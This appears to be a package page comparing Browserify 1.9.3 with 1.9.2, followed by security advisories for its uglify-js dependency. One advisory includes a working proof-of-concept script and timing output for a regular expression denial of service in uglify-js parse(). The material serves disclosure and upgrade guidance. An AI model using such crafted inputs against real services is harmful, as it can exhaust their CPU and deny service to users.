Browserify versions 1.9.3 and 1.9.2 are closely related iterations of a tool designed to bring the power of Node.js-style require() statements to client-side JavaScript development. Both versions share the same core purpose: enabling developers to organize their front-end code using modules, drawing from both local files and npm packages. This simplifies dependency management and promotes code reusability in browser environments. The core dependencies remain unchanged between the two versions, signifying the stability of the fundamental modules Browserify relies upon. These dependencies include tools for dependency resolution, command-line argument parsing (optimist), finding the common directory of paths (commondir), and analyzing code for require() calls (detective). They also rely on coffee-script for developers using that syntax. The developer dependencies, used for testing and development of Browserify itself, are also consistent between the two versions, showing continued use of the same testing frameworks and development tools. This includes libraries for asynchronous control flow (seq, lazy, dnode), DOM manipulation and testing (jsdom), server-side infrastructure (connect), data manipulation (hashish, traverse), and even compatibility libraries for older jQuery versions (jquery-browserify). The key difference lies in their release dates, with version 1.9.3 released approximately one week after 1.9.2. This suggests that 1.9.3 likely contains bug fixes, minor enhancements, or security updates that were addressed following the release of 1.9.2. Given the identical dependency lists, the changes are probably internal. Developers using Browserify are recommended to utilize the latest stable version (1.9.3) to benefit from these potential improvements and ensure they are working with the most up-to-date and reliable version of the tool.
All the vulnerabilities related to the version 1.9.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.